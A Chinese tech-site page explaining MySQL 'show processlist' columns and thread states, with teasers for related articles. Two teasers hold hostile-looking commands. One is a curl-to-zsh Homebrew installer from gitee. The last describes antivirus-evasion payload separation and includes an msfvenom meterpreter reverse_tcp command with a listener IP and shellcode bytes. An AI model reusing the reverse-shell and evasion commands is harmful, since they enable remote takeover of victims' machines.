mysql sleep 5908_mysql連接卡死,很多線程sleep狀態,導致CPU中mysqld占用率極高(問題原因還待考證)...

mysql> show processlist;

+—–+————-+——————–+

| Id | User | Host | db | Command | Time| State | Info

+—–+————-+——————–+

|207|root |192.168.0.2:51621 |mytest | Sleep | 5 | | NULL

|208|root |192.168.0.2:51622 |mytest | Sleep | 5 | | NULL

|220|root |192.168.0.2:51676 |mytest |Query | 84 | locked |

select name,culture,value,type from book where id=1

說明各列的含義和用途,

id列:一個標識,你要kill 一個語句的時候很有用。

user列: 顯示當前用戶,如果不是root,這個命令就只顯示你權限范圍內的sql語句。

host列:顯示這個語句是從哪個ip 的哪個端口上發出的。可用來追蹤出問題語句的用戶。

db列:顯示這個進程目前連接的是哪個數據庫。

command列:顯示當前連接的執行的命令,一般就是休眠(sleep),查詢(query),連接(connect)。

time列:此這個狀態持續的時間,單位是秒。

state列:顯示使用當前連接的sql語句的狀態,很重要的列,后續會有所有的狀態的描述,請注意,state只是語句執行中的某一個狀態,一個sql語句,已查詢為例,可能需要經過copying to tmp table,Sorting result,Sending data等狀態才可以完成。

info列:顯示這個sql語句,因為長度有限,所以長的sql語句就顯示不全,但是一個判斷問題語句的重要依據。

這個命令中最關鍵的就是state列,mysql列出的狀態主要有以下幾種:

Checking table

正在檢查數據表(這是自動的)。

Closing tables

正在將表中修改的數據刷新到磁盤中,同時正在關閉已經用完的表。這是一個很快的操作,如果不是這樣的話,就應該確認磁盤空間是否已經滿了或者磁盤是否正處于重負中。

Connect Out

復制從服務器正在連接主服務器。

Copying to tmp table on disk

由于臨時結果集大于 tmp_table_size,正在將臨時表從內存存儲轉為磁盤存儲以此節省內存。

Creating tmp table

正在創建臨時表以存放部分查詢結果。

deleting from main table

服務器正在執行多表刪除中的第一部分,剛刪除第一個表。

deleting from reference tables

服務器正在執行多表刪除中的第二部分,正在刪除其他表的記錄。

Flushing tables

正在執行 FLUSH TABLES,等待其他線程關閉數據表。

Killed

發送了一個kill請求給某線程,那么這個線程將會檢查kill標志位,同時會放棄下一個kill請求。MySQL會在每次的主循環中檢查kill標志位,不過有些情況下該線程可能會過一小段才能死掉。如果該線程程被其他線程鎖住了,那么kill請求會在鎖釋放時馬上生效。

Locked

被其他查詢鎖住了。

Sending data

正在處理 SELECT 查詢的記錄,同時正在把結果發送給客戶端。

Sorting for group

正在為 GROUP BY 做排序。

Sorting for order

正在為 ORDER BY 做排序。

Opening tables

這個過程應該會很快,除非受到其他因素的干擾。例如,在執 ALTER TABLE 或 LOCK TABLE 語句行完以前,數據表無法被其他線程打開。 正嘗試打開一個表。

Removing duplicates

正在執行一個 SELECT DISTINCT 方式的查詢,但是MySQL無法在前一個階段優化掉那些重復的記錄。因此,MySQL需要再次去掉重復的記錄,然后再把結果發送給客戶端。

Reopen table

獲得了對一個表的鎖,但是必須在表結構修改之后才能獲得這個鎖。已經釋放鎖,關閉數據表,正嘗試重新打開數據表。

Repair by sorting

修復指令正在排序以創建索引。

Repair with keycache

修復指令正在利用索引緩存一個一個地創建新索引。它會比 Repair by sorting 慢些。

Searching rows for update

正在講符合條件的記錄找出來以備更新。它必須在 UPDATE 要修改相關的記錄之前就完成了。

Sleeping

正在等待客戶端發送新請求.

System lock

正在等待取得一個外部的系統鎖。如果當前沒有運行多個 mysqld 服務器同時請求同一個表,那么可以通過增加 –skip-external-locking參數來禁止外部系統鎖。

Upgrading lock

INSERT DELAYED 正在嘗試取得一個鎖表以插入新記錄。

Updating

正在搜索匹配的記錄,并且修改它們。

User Lock

正在等待 GET_LOCK()。

Waiting for tables

該線程得到通知,數據表結構已經被修改了,需要重新打開數據表以取得新的結構。然后,為了能的重新打開數據表,必須等到所有其他線程關閉這個表。以下幾種情況下會產生這個通知:FLUSH TABLES tbl_name, ALTER TABLE, RENAME TABLE, REPAIR TABLE, ANALYZE TABLE, 或 OPTIMIZE TABLE。

waiting for handler insert

INSERT DELAYED 已經處理完了所有待處理的插入操作,正在等待新的請求。

大部分狀態對應很快的操作,只要有一個線程保持同一個狀態好幾秒鐘,那么可能是有問題發生了,需要檢查一下。還有其它的狀態沒在上面中列出來,不過它們大部分只是在查看服務器是否有存在錯誤是才用得著。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/271279.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/271279.shtml
英文地址,請注明出處:http://en.pswp.cn/news/271279.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

python excel庫 linux_用python寫一個簡單的excel表格獲取當時的linux系統信息

最近在學習excel表格的制作,順便結合之前學習的內容,利用python的兩個模板,分別是獲取系統信息的psutil,和生成excel表格的xlsxwriter。利用這兩個模板將生成一個簡單的excel表格,獲取當時的linux系統信息,…

mac下安裝brew下載非常慢解決方法

一鍵解決:自動腳本(全部國內地址)(在Mac os終端中復制粘貼回車下面這句話) /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"輸入y 在終端環境下,brew --version 查看brew的版本&#xf…

關系數據庫模式和完整性約束相關概念

一、關系數據庫模式介紹關系的描述形式:R(U,D.dom,F),簡化形式:R(U)、R(A1,A2,A3...An)R:表示關系名;U組成該關系的屬性名集合;D是屬性的域;dom是屬性向域的映像集合;F為屬性間數據的依賴關系集…

分布式鎖的實現方式

在進行大型網站技術架構設計以及業務實現的過程中,多少都會遇到需要使用分布式鎖的情況。那么問題也就接踵而至。分布式鎖zk和memcached以及redis三者都能實現,同樣是分布式鎖,三者的區別何在?各自適用什么場景? 一、Z…

關系數據庫基礎:關系代數運算知識筆記

1、關系代數運算符集合運算符:并(U)、差(-)、交(∩)、笛卡爾積()專門的關系運算符:選擇(?)、投影(π)、連接(∞)、除()算術比較符:大于(>)、大于等于(≥)、小…

POJ 1308 Is It A Tree? (并查集)

Is It A Tree?題目鏈接: http://acm.hust.edu.cn/vjudge/contest/123393#problem/M Description A tree is a well-known data structure that is either empty (null, void, nothing) or is a set of one or more nodes connected by directed edges between node…

Mysql分頁加pagebean_Spring+MyBatis+SpringMvc+Mysql+Druid+PageHelper分頁實現

我是阿福,公眾號「阿福聊編程」作者,一個在后端技術路上摸盤滾打的程序員,在進階的路上,共勉!文章已收錄在 JavaSharing 中,包含Java技術文章,面試指南,資源分享。思路分析MyBatis的…

python csv使用_python CSV模塊的使用

簡介 CSV(comma separated values),逗號分隔值(字符分割值,字符可以不是逗號),常用的文本格式,用以存儲表格數據,包括數字或者字符。kaggle就是csv格式,pytho…

JDK 與 JRE區別

JDK 與 JRE JDK 與 JRE 是我們經常遇到的概念,但許多學習了幾年的開發都搞不懂他們之間的區別。簡單地說 JRE(Java Runtime Environment)僅包含運行 Java 程序的必需組件,包括 Java 虛擬機以及 Java 核心類庫等。而 JDK&#xff…

數據庫技術基礎:查詢優化相關知識筆記

1、查詢優化的基本概念1.1 查詢處理查詢處理是指從數據庫中提取數據的一系列活動。主要包括:將高級數據庫查詢語句翻譯成文件系統這一物理 層次的表達式,為優化查詢進行各種轉換以及查詢的實際執行。1.2 查詢處理的代價查詢處理的代價通常由磁盤的訪問,因…

設計模式----解釋器模式

一、簡介 解釋器模式使用頻率并不高,通常用來構建一個簡單語言的語法解釋器,它只在一些非常特定的領域被用到,比如編譯器、規則引擎、正則表達式、sql解析等。 解釋器模式是行為型設計模式之一,它的原始定義為:用于定義…

HTML學習筆記16——尺寸的表示_px、%、em三種

1.像素表示: 23px 2.子像素可以用百分比表示其大小,如50%,表示為父元素的一半 如果塊狀子元素的寬度不指定,默認是占滿父元素的寬度; 3.用em表示字體大小時,表示相對大小,是與父元素的比值&…

mysql索引是自動使用嗎_mysql索引是自動使用嗎?

MYSQL在創建索引后對索引的使用方式分為兩種:其一,由數據庫的查詢優化器自動判斷是否使用索引;其二,用戶可在寫SQL語句時強制使用索引。MYSQL在創建索引后對索引的使用方式分為兩種:1 由數據庫的查詢優化器自動判斷是否…

mac idea配置配置自動清除類中無用的import包

1:mac快捷鍵清包 control option o windows快捷鍵 Ctrl Alt O 2:打開Perferences ---> Editor --->Auto Imort 在下圖選中方方框中勾上

關系數據庫基礎:函數依賴知識筆記

1、函數依賴的定義設R(U)是屬性集U.上的關系模式,X, Y是U的子集。若對于R(U)的任意一個可能的關系r,r中不可能存在兩個元組在X集合上的屬性值相等,而在Y上的屬性值不等,則稱X函數確定Y或Y函數依賴于X,記作X→Y。理解:X,Y為兩個集合…

pythonspark實例_spark+python快速入門實戰小例子(PySpark)

1、集群測試實例 代碼如下: from pyspark.sql import SparkSession if __name__ "__main__": spark SparkSession\ .builder\ .appName("PythonWordCount")\ .master("spark://mini1:7077") \ .getOrCreate() spark.conf.set("…

SQL數據庫。按年,月,日查詢

select * from pop where year(pdate)年份 and month(pdate)>1 and month(pdate)<3select * from Mall_Coupons where year(StartDate)2011 and month(StartDate)>12 and month(StartDate)<2轉載于:https://www.cnblogs.com/wybshyy/p/5847894.html

【Spark】Spark基礎教程知識點

第 1 部分 Spark 基礎 Spark 概述 本章介紹 Spark 的一些基本認識. Spark官方地址 一&#xff1a;什么是 Spark Spark 是一個快速(基于內存), 通用, 可擴展的集群計算引擎 并且 Spark 目前已經成為 Apache 最活躍的開源項目, 有超過 1000 個活躍的貢獻者. 歷史 2009 年…

關系數據庫理論:數據庫的六大范式知識筆記

1、數據庫范式的作用數據庫范式主要是為解決關系數據庫中數據冗余、更新異常、插入異常、刪除異常問題而引入的設計理念。簡單來說&#xff0c;數據庫范式可以避免數據冗余&#xff0c;減少數據庫的存儲空間&#xff0c;并且減輕維護數據完整性的成本。是關系數據庫核心的技術之…

python 生成payload_利用Python進行Payload分離免殺

缺點&#xff1a;編譯成exe以后體積過大實現&#xff1a;msf生成shellcode代碼&#xff1a;msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c將payload給copy下來&#xff0c;去除引號。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…